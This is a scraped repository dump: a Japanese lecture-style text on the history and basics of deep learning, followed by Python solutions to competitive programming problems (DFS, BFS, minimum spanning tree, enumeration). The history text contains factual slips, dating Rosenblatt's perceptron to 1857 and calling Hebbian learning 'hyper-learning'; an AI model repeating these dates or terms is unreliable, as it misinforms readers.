ディープラーニングのインスピレーションとその歴史\nディープラーニングは概念レベルでは脳の一部をきっかけとして誕生しましたが脳の詳細全てに関係する訳ではありません。同じようなこととして飛行機は鳥から着想を得ましたが飛行機と鳥が空を飛ぶ原理は根本的に違うということが挙げられます。\n\nディープラーニングの歴史は現在では人工頭脳学と呼ばれるかつて存在した分野にまで遡ります。1940年代にMcCullochとPittsが扱い始め、ニューロンはオンとオフの状態がある閾値をもつ要素であるという考えに至りました。ニューロンを繋ぎ合わせることでブール回路を作れば論理的推論を行うことができるのではないかと考えられました。基本的にはニューロンの二値性のため脳は論理的推論を行う機械であると言えます。ニューロンは入力情報の重み付き和を計算しニューロンそれ自身が持つ閾値と比較します。もし計算された和が閾値より高ければニューロンはオン状態になり、閾値以下ではオフ状態になりますが、これがニューラルネットワークがなぜうまく機能するのかを説明できる簡略化された見方です。\n\n1947年、Donald Hebbは脳内にあるニューロンが他のニューロン間の結びつきの強さを変えることで学習ができるという考えに至りました。この考え方はハイパーラーニングと呼ばれ、もし二つのニューロンが同時に活性化すれば結びつきが強くなり、そうでなければ結びつきを弱めるということを意味します。\n\n1948年終盤には、センサーとアクチュエータを用いたシステムでフィードバックループと自己抑制を備えたシステムを構築することができるという考え方が人工頭脳学としてNorbert Wienerによって提唱されました。自動車のフィードバックの仕組みは全てここから来ています。\n\n1857年にはFrank Rosenblattがとても単純なニューラルネットワークの重みを変化させるという学習アルゴリズムであるパーセプトロンというものを提唱しました。\n\n総合的に見ると、ニューロンの仕組みを真似することで知能機械を生み出そうというコンセプトは1940年代に生まれ、1950年代に注目を集めたものの1960年代後半には完全に廃れたものとなりました。1960年代にこうなってしまった理由としては:\n\n誤差逆伝播法をうまく行うためには連続である活性化関数を使う必要がありましたが、研究者はニューロンが完全に二値を取るものとして扱っていました。その当時、連続的なニューロンを用いるという考え方には至らず、二値のみを取るニューロンは微分不可であり勾配を計算して学習を行えるとは考えませんでした。\n連続なニューロンを使う場合、重み付き和による作用を求めるにはニューロンの活性化値と重みの積を取る必要があると考えられていましたが、1980年以前は二つの数値(特に浮動小数点の値)同士の積をコンピューター上で求めるのは非常に低速であったこともあり連続の活性化関数はあまり現実的ではありませんでした。\n1985年に誤差逆伝播法の誕生とともにディープラーニングが再び注目され始めたものの、1995年には過去のものとなり機械学習の分野ではニューラルネットの考え方には誰も見向きもしなくなりました。2010年代初頭には音声認識の分野でニューラルネットが利用され始めて良い結果を残し、その後商用目的で広く使われました。2013年にはニューラルネットがコンピュータビジョンの分野で幅広く使われ始め、2016年には自然言語処理の分野でも幅広く使われ始めました。ロボティクス、制御、その他の分野でも同様の変化が起こるでしょう。\n\n### 教師あり学習\n90%のディープラーニングの利用例が教師あり学習を用いています。教師あり学習とは、入力と対応する出力の組み合わせをたくさん使って入力情報から正しい出力を出すようにコンピューター上のシステムに学習させることです。もし出力が正解なら何もせず、もし不正解なら正しい出力を出せるようにシステムのパラメーターを変更します。ここで重要なのはどの方向にどれだけパラメーターを変化させるかを求めることであり、勾配計算と誤差逆伝播法を使うこととなります。\n\n教師あり学習はパーセプトロンとアダラインから派生しています。アダラインはパーセプトロンと同じですが重み付きの入力を使います。入力がある閾値より大きければオン状態になり、そうでなければオフ状態になります。パーセプトロンは二層のニューラルネットであり、一層目は固定されていますが二層目は訓練可能です。ほとんどの場合、一層目はランダムに決められ連想層と呼ばれます。\n\n## パターン認識の歴史と勾配降下法への導入\n前述の内容はディープラーニングが普及する前にパターン認識の分野で取り入れられていた基本的なコンセプトです。特徴量抽出器と学習可能分類器を使うことがパターン認識においては一般的でした。例えば顔認識を行いたい時に目を検出することなど、入力されたデータの関連性のある有用な特徴を抽出します。そして得られた特徴量ベクトルを用いて学習可能な分類器で重み付き和を計算し閾値と比較します。パーセプトロンや一層だけのニューラルネットワークが用いるべき学習可能な分類器の候補となります。ただこの場合、人の手によって特徴量抽出を行う必要があり問題となります。つまりパターン認識とコンピュータビジョンにおいては、ある問題に対して使えそうな特徴抽出器の検討に注意が行きがちで、学習可能な分類器の設計はあまり重要視されないということです。\n\nディープラーニングが出現し成熟した頃には、その二段階プロセスが数々の部品が繋ぎ合わさったものへと変貌していました。それらの部品それぞれが調整可能なパラメータと非線形性を持っており、重なり合って複数の階層を構成します。これが「ディープラーニング」と呼ばれる所以です。ここで線形ではなく非線形性を与えるのはもし2つの層が両方とも線形性を持つならそれらは一つの線形の層で表すことができるためです。\n\n訓練可能なパラメータと非線形性を持つ複数層を持つアーキテクチャで最も単純なものとしては、画像や音がベクトル表現として入力され、訓練可能な重みとの積となり、そしてその積の要素一つずつに対してReLUのような非線形関数を適用するものです。このプロセスを繰り返すことにより基本的なニューラルネットワークとなります。これがニューラルネットワークと呼ばれているのは、このアーキテクチャが入力の要素の重み付き和を、行列の列に対応させながら計算するからです。\n\n教師あり学習の話に戻ると、実際の出力内容と出力されるべき内容とで距離・ペナルティ・ダイバージェンスを計算して比較し、損失となる目的関数の最適化を行います。そして、このコスト関数を訓練データ全体で平均し最小化したいと考えます。言い換えれば、この平均値が最小となるようなパラメーターの値を求めたいということです。\n\nそのパラメータを求めるためには勾配計算を行います。例えば、霧の出た夜中に平滑な山で道に迷ってしまい、谷にある村に向かおうとしているとしましょう。その場で周囲を見てどの方向に進むのが下り勾配が最も急になるかを見つけその方向に一歩進みます。その方向は(負の)勾配(グラーディエント)となります。もし谷が下に凸であることを仮定すればこの方法で谷底に辿りつくことができ、一つの方法として考えられます。\n\n更に効率的な方法としては確率的勾配降下法(Stochastic Gradient Descent - SGD)が挙げられます。訓練データ全体での損失の平均値の最小化を行いたいのですから、サンプルの一部を選んで誤差を計算し勾配降下法を用い、またサンプル別の部分を用いて新しい誤差を計算し勾配を取得します。このとき基本的には新しい勾配はその前のもととは異なる値を取ります。SGDを用いる主な理由としては、訓練データが非常に大きいときにでも素早く収束に至りやすいことが経験的に知られていることと、様々なデータセットに対して同様の結果が得られるかを表す汎化性能が良くなりやすいことの二つがあります。\n\n### 誤差逆伝播法による勾配の計算方法\n誤差逆伝播法による勾配の計算は連鎖則の実用的な応用であり、入力に関しての勾配を求める誤差逆伝播の式は以下のようになります:\n\n\\begin{aligned} \\frac{\\partial C}{\\partial \\boldsymbol{x}_{i - 1}} &= \\frac{\\partial C}{\\partial \\boldsymbol{x}_i}\\frac{\\partial \\boldsymbol{x}_i}{\\partial \\boldsymbol{x}_{i - 1}} \\\\ \\frac{\\partial C}{\\partial \\boldsymbol{x}_{i - 1}} &= \\frac{\\partial C}{\\partial \\boldsymbol{x}_i}\\frac{\\partial f_i(\\boldsymbol{x}_{i - 1}, \\boldsymbol{w}_i)}{\\partial \\boldsymbol{x}_{i - 1}} \\end{aligned}\n\n重みに関しての勾配を求める誤差逆伝播の式は以下のようになります:\n\n\\begin{aligned} \\frac{\\partial C}{\\partial \\boldsymbol{w}_{i}} &= \\frac{\\partial C}{\\partial \\boldsymbol{x}_i}\\frac{\\partial \\boldsymbol{x}_i}{\\partial \\boldsymbol{w}_{i}} \\\\ \\frac{\\partial C}{\\partial \\boldsymbol{w}_{i}} &= \\frac{\\partial C}{\\partial \\boldsymbol{x}_i}\\frac{\\partial f_i(\\boldsymbol{x}_{i - 1}, \\boldsymbol{w}_i)}{\\partial \\boldsymbol{w}_{i}} \\end{aligned}\n\nここで注意したいのは入力がスカラー値ではなくベクトル値であり、より一般には多次元の入力値となることです。誤差逆伝播法により、正しい出力と実際の出力の差分についてネットワーク上にあるいかなる値に関する微分も計算することができ、この差分が目的関数ともなります。誤差逆伝播法はネットワーク上の複数の層に用いることができるため重要です。\n\n入力をどのように変換するかも大切です。例えば、256\\times×256の画像では200,000個の値を持つ行列が必要となるでしょう。このような行列はニューラルネットの層が扱うには大きすぎて実用的ではありません。そのため行列の構造について仮説を組み立てることが重要になってきます。\n\n## 視覚野の階層的表現Hierarchical representation of the Visual Cortex\n福島による実験によって脳がどのようにして眼からの情報を解釈するかへの理解が得られました。端的に言えば、網膜の前にあるニューロンにより入力情報が圧縮されて(これはコントラスト正規化として知られています)更に信号が眼から脳へと伝わることが分かりました。その後伝わった視覚情報が階層的に処理され、特定のカテゴリーに対応するあるニューロンが活性化することで情報の分類が成されます。このようにして視覚野は階層的にパターン認識をしています。\n\n視覚野の特定の部位、特に一次視覚野 (V1)に電極を差し込むことで行う実験により、視野の極々一部に出現した模様に対して特定のニューロンが反応を示し、さらにその近くにある違う模様に対しては最初のニューロンの近くのニューロンが反応することが分かりました。さらに、視野の同じ部分に反応するニューロンは様々な種類のエッジに対して規則的に反応する(例えば辺が垂直か水平か)ことも分かりました。また、視覚プロセスが本質的にはフィードフォーワードの過程であるという考え方があるということを知っておくのも重要です。こうして循環的な接続無しで高速に認識を行うことができるのです。\n" }, { "alpha_fraction": 0.42020562291145325, "alphanum_fraction": 0.45015645027160645, "avg_line_length": 21.595958709716797, "blob_id": "b2dcf8b4a591407c25f131e1cce778b7b155091f", "content_id": "c0614bce862f6202c43053bc3a63a81f0eb92e19", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2393, "license_type": "no_license", "max_line_length": 52, "num_lines": 99, "path": "/examples/intermediate/03_bit_all_enumeration/014.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "from itertools import combinations\nN, K = map(int, input().split())\nA = list(map(int, input().split()))\nmn = 10**18\nfor B in combinations(range(1,N),K-1): # 一番左は固定\n mx = A[0] # 初期値は一番左の建物\n score = 0\n for n in range(1,N):\n if n in B: # 見えるようにすべき建物なら\n if A[n] <= mx: # 低ければ高くする\n mx += 1\n score += (mx - A[n])\n else: # 高さが十分なら何もしない。最大値を更新\n mx = A[n]\n else:\n mx = max(mx, A[n]) # 見えなくても良い建物なら、最大値を更新\n mn = min(mn, score)\nprint (mn)\n\n# My answer\n# 2021/04/22\n# from itertools import product\n#\n# N, K = map(int, input().split())\n# A = tuple(map(int, input().split()))\n#\n# minumum = A[0]\n# ans = float(\"INF\")\n#\n# for c in product([0,1], repeat=N):\n# if c[0] == 0: continue\n# if sum(c) != K: continue\n#\n# total = 0\n# for index, flag in enumerate(c[1:], 1):\n# if A[index] > minumum:\n# minumum = A[index]\n# else:\n# if flag:\n# minumum += 1\n# total += minumum - A[index]\n#\n# ans = min(ans, total)\n#\n# print(ans)\n\n# 2021/04/30\n# from itertools import product\n#\n# N, K = map(int, input().split())\n# A = list(map(int, input().split()))\n# ans = float('inf')\n#\n# for c in product(range(2), repeat=N-1): # A[0] は確定\n# if sum(c) != K-1: continue\n#\n# price = 0\n# mn = A[0]\n# for i in range(N-1):\n# if c[i] == 1:\n# price += max(0, mn + 1 - A[i+1])\n# mn = max(mn+1, A[i+1])\n# else:\n# if A[i+1] > mn: break\n# mn = max(mn, A[i+1])\n# else:\n# ans = min(ans, price)\n#\n# print(ans)\n\n# 2021/06/08\n# from itertools import product\n#\n# N, K = map(int, input().split())\n# A = list(map(int, input().split()))\n#\n# mn = A[0]\n# A = A[1:]\n# ans = float('inf')\n#\n# for c in product([0, 1], repeat=N-1):\n# if sum(c) != K-1: continue\n# flag = True\n# cost = 0\n#\n# for i in range(N-1):\n# if c[i]:\n# if A[i] > mn: mn = A[i]\n# else:\n# mn += 1\n# cost += mn - A[i]\n# else:\n# if A[i] > mn:\n# flag = False\n# break\n#\n# if flag: ans = min(ans, cost)\n#\n# print(ans)\n" }, { "alpha_fraction": 0.5354637503623962, "alphanum_fraction": 0.5526110529899597, "avg_line_length": 21.910715103149414, "blob_id": "6457d99acf8a47ce6a7744c0cd9ebfaec48853ac", "content_id": "789481540d5ce29438de9ab65f6a3ed540b9524f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1649, "license_type": "no_license", "max_line_length": 64, "num_lines": 56, "path": "/examples/intermediate/15_minimum_spanning_tree/064.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "import heapq\nV, E = map(int, input().split()) # 頂点、辺\nadj = [ [] for v in range(V)] # 隣接リスト\nfor e in range(E):\n s, t, w = map(int, input().split())\n adj[s].append((t,w))\n adj[t].append((s,w))\n\nvisited = [0] * V # 訪問フラグ\npq = [] # 優先度付きキュー\nfor t, w in adj[0]: # 始点はどこでも良いので、0とする\n heapq.heappush(pq, (w, t))\nvisited[0] = 1 # 始点の訪問フラグを立てる\n\nans = 0\nwhile(pq):\n w, t = heapq.heappop(pq)\n if visited[t]: # 訪問済みならスキップ -> ダイクストラと違う(ダイクストラは都度最短距離を確認する)\n continue\n visited[t] = 1 # 訪問フラグを立てる\n ans += w # スコアに加算\n for s, w in adj[t]: # 隣接する頂点を列挙\n if visited[s]==0: # 未訪問なら探索候補としてpqに追加\n heapq.heappush(pq, (w, s))\nprint (ans)\n\n# My answer\n# 2021/04/26\n# 写経\n# ダイクストラ法に考え方が似ている. 全体最小を求める場合は最小全域木を使う\n# import heapq\n# V, E = map(int, input().split())\n# adj = [[] for _ in range(V)]\n# for _ in range(E):\n# s, t, w = map(int, input().split())\n# adj[s].append((t,w))\n# adj[t].append((s,w)) # 無向グラフなので双方向になるように設定する\n#\n# visited = [0]*V\n# pq = []\n# for t, w in adj[0]:\n# heapq.heappush(pq, (w,t))\n# visited[0] = 1\n#\n# ans = 0\n# while pq:\n# w, t = heapq.heappop(pq)\n#\n# if visited[t]: continue\n#\n# visited[t] = 1\n# ans += w\n# for nt, nw in adj[t]:\n# if not visited[nt]: heapq.heappush(pq, (nw,nt))\n#\n# print(ans)\n" }, { "alpha_fraction": 0.36312055587768555, "alphanum_fraction": 0.40312057733535767, "avg_line_length": 24.359712600708008, "blob_id": "27ebdfc1a92d88046e152320b46557bc1f3d0b17", "content_id": "4070c0e702d6ce7d4fb0ab70803b5e3db5519f02", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3643, "license_type": "no_license", "max_line_length": 94, "num_lines": 139, "path": "/examples/intermediate/06_depth_first_search/025.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "# https://judge.u-aizu.ac.jp/onlinejudge/description.jsp?id=1160&lang=jp\n\nimport sys\nsys.setrecursionlimit(10**7)\n\ndxdy = ((0,1),(0,-1),(1,0),(-1,0),(-1,1),(1,-1),(1,1),(-1,-1))\nans = []\nwhile(1):\n W, H = map(int, input().split())\n if (W==0 and H==0):\n break\n mp = []\n for h in range(H):\n line = input()\n line = line.split()\n line = [-int(l) for l in line]\n mp.append(line)\n def dfs(h,w):\n mp[h][w] = k\n for dx, dy in dxdy:\n nw = w + dx\n nh = h + dy\n if (0 <= nh < H and 0 <= nw < W):\n if (mp[nh][nw] == -1):\n dfs(nh, nw)\n k = 0\n for h in range(H):\n for w in range(W):\n if mp[h][w] == -1:\n k += 1\n dfs(h,w)\n ans.append(k)\nfor a in ans:\n print(a)\n\n# My answer\n# 2021/04/25\n# 写経\n# import sys\n# sys.setrecursionlimit(10**7) # 再帰の上限を設定する -> https://note.nkmk.me/python-sys-recursionlimit/\n#\n# dxdy = ((0,1), (0,-1), (1,0), (1,1), (1,-1), (-1,0), (-1,1), (-1,-1))\n# ans = []\n#\n# while(1):\n# W, H = map(int, input().split())\n# if W == 0 and H == 0: break\n#\n# mp = []\n# counter = 0\n# for i in range(H):\n# C = list(map(int, input().split()))\n# line = [-1*c for c in C] # k のカウントと被るのでマイナスをかけておく\n# mp.append(line)\n#\n# def dfs(h,w): # dfs の時は深ぼる変数だけを引く数に取ったほうが見通しが良い\n# mp[h][w] = counter\n# for dx, dy in dxdy:\n# nw = w + dx\n# nh = h + dy\n# if (0 <= nh < H and 0 <= nw < W):\n# if (mp[nh][nw] == -1):\n# dfs(nh, nw)\n#\n# for h in range(H):\n# for w in range(W):\n# if mp[h][w] == -1:\n# counter += 1\n# dfs(h,w)\n#\n# ans.append(counter)\n#\n# for a in ans: print(a)\n\n# 2021/04/30\n# dxdy = ((0,1), (1,1), (1,0), (1,-1), (0,-1), (-1,-1), (-1,0), (-1,1))\n# ans = []\n#\n# while True:\n# W, H = map(int, input().split())\n# if W == 0 and H == 0: break\n#\n# C = [list(map(int, input().split())) for _ in range(H)]\n# count = 0\n# visited = [[0]*W for _ in range(H)]\n#\n# def dfs(h, w, count):\n# visited[h][w] = count\n# for dx, dy in dxdy:\n# if 0 <= h+dy <= H-1 and 0 <= w+dx <= W-1:\n# if C[h+dy][w+dx] == 1 and visited[h+dy][w+dx] == 0: dfs(h+dy, w+dx, count)\n#\n# for h in range(H):\n# for w in range(W):\n# if C[h][w] == 1 and visited[h][w] == 0:\n# count += 1\n# dfs(h, w, count)\n#\n# ans.append(count)\n#\n# for a in ans: print(a)\n\n# 2021/06/10\n# ans = []\n# dxdy = ((0, 1), (1, 1), (1, 0), (1, -1), (0, -1), (-1, -1), (-1, 0), (-1, 1))\n#\n# while True:\n# W, H = map(int, input().split())\n# if W == 0 and H == 0: break\n#\n# mp = []\n# for _ in range(H):\n# line = list(map(int, input().split()))\n# mp.append(line)\n#\n# visited = [[-1] * W for _ in range(H)]\n# count = 0\n#\n# def dfs(h, w, num):\n# visited[h][w] = num\n#\n# for dx, dy in dxdy:\n# nx = w + dx\n# ny = h + dy\n#\n# if 0 <= nx < W and 0 <= ny < H:\n# if mp[ny][nx] == 1 and visited[ny][nx] == -1:\n# dfs(ny, nx, num)\n#\n# for h in range(H):\n# for w in range(W):\n# if mp[h][w] == 0: continue\n# if visited[h][w] == -1:\n# count += 1\n# dfs(h, w, count)\n#\n# ans.append(count)\n#\n# for a in ans: print(a)\n" }, { "alpha_fraction": 0.5623268485069275, "alphanum_fraction": 0.5734071731567383, "avg_line_length": 17.512821197509766, "blob_id": "dd26fea9fd16626a3de79c090909ee6faec7bb5b", "content_id": "52e82bf9cfdb952295679f713e384b7ff44ccca3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 760, "license_type": "no_license", "max_line_length": 70, "num_lines": 39, "path": "/examples/hackerrank/array/03.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "#!/bin/python3\n\nimport math\nimport os\nimport random\nimport re\nimport sys\n\n#\n# Complete the 'minimumBribes' function below.\n#\n# The function accepts INTEGER_ARRAY q as parameter.\n#\n\ndef minimumBribes(q):\n ans = 0\n\n for index, element in enumerate(q):\n original = element - 1\n current = index\n\n if original - current > 2:\n print('Too chaotic')\n return\n\n for k in q[max(0, original-1):current]: # オリジナルの位置より1つ前まで見れば良い\n if k > element: ans += 1\n\n print(ans)\n\nif __name__ == '__main__':\n t = int(input().strip())\n\n for t_itr in range(t):\n n = int(input().strip())\n\n q = list(map(int, input().rstrip().split()))\n\n minimumBribes(q)\n" }, { "alpha_fraction": 0.375, "alphanum_fraction": 0.45588234066963196, "avg_line_length": 16, "blob_id": "7d5d4aa36ee5be716ac16e12902cbd58d51c8d2c", "content_id": "43af88e747357b468a53160285ac53ce715a902e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 136, "license_type": "no_license", "max_line_length": 37, "num_lines": 8, "path": "/examples/contests/202/B.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "S = input()\nmp = { 0: 0, 1: 1, 6: 9, 8: 8, 9: 6 }\n\nans = []\nfor s in S:\n ans.append(mp[int(s)])\n\nprint(''.join(map(str, ans[::-1])))\n" }, { "alpha_fraction": 0.4655172526836395, "alphanum_fraction": 0.6034482717514038, "avg_line_length": 18.33333396911621, "blob_id": "aabf2af70aa29ee0bebae7c5cd59b45045eaff99", "content_id": "c7c87b7988d9320aa7c0a330bb373df4158e7df2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 58, "license_type": "no_license", "max_line_length": 30, "num_lines": 3, "path": "/algorithm/cumulative_sum.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "a=list(range(1,30))\na2=[0]\nfor i in a:a2.append(a2[-1]+i)\n" }, { "alpha_fraction": 0.5677419304847717, "alphanum_fraction": 0.6387096643447876, "avg_line_length": 18.375, "blob_id": "703a8dcc5ff07bb945066c47dac8ecc6063eac49", "content_id": "a733141f809136860d44755c36c6387c0fb68758", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 155, "license_type": "no_license", "max_line_length": 48, "num_lines": 8, "path": "/algorithm/primes.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "n = 100\nprimes = set(range(2, n+1))\n\nfor i in range(2, int(n**0.5+1)):\n primes.difference_update(range(i*2, n+1, i))\n\nprimes=list(primes)\nprint(primes)\n" }, { "alpha_fraction": 0.5735294222831726, "alphanum_fraction": 0.6764705777168274, "avg_line_length": 21.66666603088379, "blob_id": "c951a6964ac9baec512c6847609aff292521b73a", "content_id": "77f48cc76f01c908f2f2ea27b86928b625fbf491", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 68, "license_type": "no_license", "max_line_length": 47, "num_lines": 3, "path": "/algorithm/chanage_multiplu_charactars.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "S='54IZSB'\nS = S.translate(str.maketrans(\"ODIZB\",\"00125\"))\nprint(S)\n" }, { "alpha_fraction": 0.44794031977653503, "alphanum_fraction": 0.4832955002784729, "avg_line_length": 24.691667556762695, "blob_id": "ed1dce1c10f82b16cbcfe1197453efa6f0461af5", "content_id": "f66741dbeb286676de933d9b80f1f8df5a485760", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3307, "license_type": "no_license", "max_line_length": 92, "num_lines": 120, "path": "/examples/intermediate/07_breadth_first_search/029.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "import sys\nimport queue\ninput = sys.stdin.readline\nsys.setrecursionlimit(int(1E+7))\ndxdy = ((-1,0), (1,0), (0,-1), (0,1)) # タプルやリストで持っておくと便利\nR, C = map(int,input().split())\nsy, sx = map(int,input().split())\ngy, gx = map(int,input().split())\nmaze = []\nvisited = [ [0]*C for _ in range(R)]\nfor r in range(R):\n s = input()\n maze.append(s) # 二次元リストにせず、文字列のリストのままでOK\nq = queue.Queue()\nq.put((sy-1,sx-1,0)) # スタート地点をenqueue\nwhile(not q.empty()):\n y, x, d = q.get()\n if x == gx-1 and y == gy-1: # ゴールにたどり着いたら終了\n ans = d\n break\n if visited[y][x] == 1: # 訪問済みの場合は無視する\n continue\n else:\n visited[y][x] = 1 # 訪問フラグを立てる\n for dx, dy in dxdy:\n if (0<= x+dx < C) and (0<= y+dy < R): # 範囲内に収まっているか\n if visited[y+dy][x+dx] == 0 and maze[y+dy][x+dx]=='.': # 見訪問かつ通行可能か\n q.put((y+dy,x+dx,d+1)) # 距離を+1してenqueue\nprint (ans)\n\n# My answer\n# 2021/04/25\n# import queue\n# # input = sys.stdin.readline # 処理が高速になる -> https://www.kumilog.net/entry/python-speed-comp\n# # sys.setrecursionlimit(int(1E+7))\n#\n# R, C = map(int, input().split())\n# start = tuple(map(int, input().split()))\n# goal = tuple(map(int, input().split()))\n# dxdy = ((1,0), (0,1), (-1,0), (0,-1))\n#\n# mp = []\n# for _ in range(R):\n# line = input()\n# mp.append(line)\n#\n# distance = [[-1]*C for _ in range(R)]\n# q = queue.Queue()\n# q.put((start[0]-1, start[1]-1, 0))\n#\n# while not q.empty():\n# r, c, d = q.get()\n#\n# if r == goal[0]-1 and c == goal[1]-1:\n# print(d)\n# break\n#\n# distance[r][c] = d\n#\n# for dx, dy in dxdy:\n# if mp[r+dy][c+dx] == '.' and distance[r+dy][c+dx] == -1:\n# q.put((r+dy, c+dx, d+1))\n\n# 2021/04/30\n# import queue\n#\n# R, C = map(int, input().split())\n# sy, sx = map(int, input().split())\n# gy, gx = map(int, input().split())\n# mp = [input() for _ in range(R)]\n#\n# dxdy = ((0, 1), (1, 0), (0, -1), (-1, 0))\n# distance = [[-1]*C for _ in range(R)]\n#\n# q = queue.Queue()\n# q.put((0, sx-1, sy-1))\n#\n# while not q.empty():\n# d, x, y = q.get()\n# if distance[y][x] != -1: continue\n# distance[y][x] = d\n#\n# if x == gx-1 and y == gy-1: break\n#\n# for dx, dy in dxdy:\n# nx = x+dx\n# ny = y+dy\n# if 0 <= nx < C and 0 <= ny < R:\n# if distance[ny][nx] == -1 and mp[ny][nx] == '.':\n# q.put((d+1, nx, ny))\n#\n# print(distance[gy-1][gx-1])\n\n# 2021/06/11\n# import queue\n#\n# R, C = map(int, input().split())\n# sy, sx = map(int, input().split())\n# gy, gx = map(int, input().split())\n# mp = [input() for _ in range(R)]\n#\n# dxdy = ((0, 1), (1, 0), (0, -1), (-1, 0))\n# dists = [[-1] * C for _ in range(R)]\n#\n# q = queue.Queue()\n# q.put((sx-1, sy-1, 0))\n#\n# while not q.empty():\n# x, y, d = q.get()\n# if dists[y][x] == -1: dists[y][x] = d\n# else: continue\n#\n# for dx, dy in dxdy:\n# nx = x + dx\n# ny = y + dy\n# if 0 <= nx < C and 0 <= ny < R and mp[ny][nx] == '.':\n# if dists[ny][nx] == -1: q.put((nx, ny, d+1))\n# else: continue\n#\n# print(dists[gy-1][gx-1])\n" }, { "alpha_fraction": 0.47773972153663635, "alphanum_fraction": 0.5539383292198181, "avg_line_length": 19.491228103637695, "blob_id": "d84740a35441f8550040d4aaa2d215fa91345532", "content_id": "f5d65ef4118ac4593f69280646de8eb93967bed1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1168, "license_type": "no_license", "max_line_length": 68, "num_lines": 57, "path": "/examples/intermediate/04_permutation_all_enumeration/015.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "# https://asukatagui-blog.com/abc145c/\n\nfrom itertools import combinations\nN = int(input())\ntown = []\nfor n in range(N):\n x, y = map(int,input().split())\n town.append((x,y))\n\nans = 0\nfor i,j in combinations(town,2):\n ans += ((i[0]-j[0])**2 + (i[1]-j[1])**2)**0.5\nprint (2*ans/N)\n\n# My answer\n# 2021/04/24\n# from itertools import combinations\n#\n# N = int(input())\n# cities = (tuple(map(int, input().split())) for _ in range(N))\n#\n# sm = 0\n#\n# for c1, c2 in combinations(cities, 2):\n# sm += ((c1[0]-c2[0])**2 + (c1[1]-c2[1])**2)**0.5\n#\n# ans = 2 * sm / N\n#\n# print(ans)\n\n# 2021/04/30\n# from itertools import combinations\n#\n# N = int(input())\n# coordinates = [tuple(map(int, input().split())) for _ in range(N)]\n# sm = 0\n#\n# for c1, c2 in combinations(coordinates, 2):\n# dx = c2[0] - c1[0]\n# dy = c2[1] - c1[1]\n# sm += (dx**2 + dy**2)**0.5\n#\n# ans = 2*sm/N\n# print(ans)\n\n# 2021/06/09\n# from itertools import combinations\n#\n# N = int(input())\n# cities = [tuple(map(int, input().split())) for _ in range(N)]\n# sm = 0\n#\n# for c1, c2 in combinations(cities, 2):\n# sm += pow((c1[0]-c2[0])**2 + (c1[1]-c2[1])**2, 0.5)\n#\n# ans = 2*sm/N\n# print(ans)\n" }, { "alpha_fraction": 0.5361445546150208, "alphanum_fraction": 0.5461847186088562, "avg_line_length": 15.600000381469727, "blob_id": "3ed0c0b214f1d6f6a47010782c4cba477250cdb6", "content_id": "dd910a171832ff623b99a9b7fdaf70f546f1232a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 498, "license_type": "no_license", "max_line_length": 37, "num_lines": 30, "path": "/examples/contests/201/C.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "from itertools import product\n\nS = input()\nN = 10\nO = []\nX = []\nfor i in range(N):\n if S[i] == 'o': O.append(i)\n if S[i] == 'x': X.append(i)\n\ndef check_O(pattern):\n for o in O:\n if not o in pattern:\n return False\n return True\n\ndef check_X(pattern):\n for x in X:\n if x in pattern:\n return False\n return True\n\nans = 0\n\nfor p in product(range(N), repeat=4):\n if not check_O(p): continue\n if not check_X(p): continue\n ans += 1\n\nprint(ans)\n" }, { "alpha_fraction": 0.6428571343421936, "alphanum_fraction": 0.7727272510528564, "avg_line_length": 50.33333206176758, "blob_id": "7d439dd7dc22a7e74aed4fbabbdbbc95a5c0624f", "content_id": "06eaf115c7f44695a10013b504848ff1cb2e7034", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 174, "license_type": "no_license", "max_line_length": 84, "num_lines": 3, "path": "/examples/memo.md", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "## テキスト\n- 初心者: https://qiita.com/chun1182/items/ddf2b6cba932b2bb0d4e\n- 中級者: https://kakedashi-engineer.appspot.com/2020/05/08/light-blue/#google_vignette\n" } ]
92
jshields/cowsay_sublime
https://github.com/jshields/cowsay_sublime
76b5a81041bd598fdaa391dafedcb932b4f75514
dbdcac7229e685f1056aedb338f0e47bb6e46224
837571b7111c9896b2b1d2cd9b2c7525157254b8
refs/heads/master
2021-01-19T17:23:05.953660
2018-09-17T17:37:22
2018-09-17T17:37:22
88,323,614
0
0
null
null
null
null
null
